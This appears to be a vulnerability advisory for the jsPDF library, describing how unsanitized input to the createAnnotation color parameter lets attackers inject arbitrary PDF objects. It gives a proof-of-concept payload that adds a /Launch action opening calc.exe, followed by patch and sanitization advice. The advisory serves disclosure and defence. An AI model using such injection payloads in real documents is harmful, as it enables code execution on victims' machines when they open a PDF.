Overview
About vulnerability
Impact
User control of arguments of the createAnnotation method allows users to inject arbitrary PDF objects, such as JavaScript actions.
If given the possibility to pass unsanitized input to the following method, a user can inject arbitrary PDF objects, such as JavaScript actions, which might trigger when the PDF is opened or interacted with..
createAnnotation:colorparameter
Example attack vector:
import { jsPDF } from 'jspdf'
const doc = new jsPDF();
const payload = '000000) /AA <</E <</S /Launch /F (calc.exe)>>>> (';
doc.createAnnotation({
type: 'freetext',
bounds: { x: 10, y: 10, w: 120, h: 20 },
contents: 'hello',
color: payload
});
doc.save('test.pdf');
Patches
The vulnerability has been fixed in [email protected].
Workarounds
Sanitize user input before passing it to the vulnerable API members.
Details
- Affected product:
- jspdf
- Affected packages:
- jspdf (+4 more)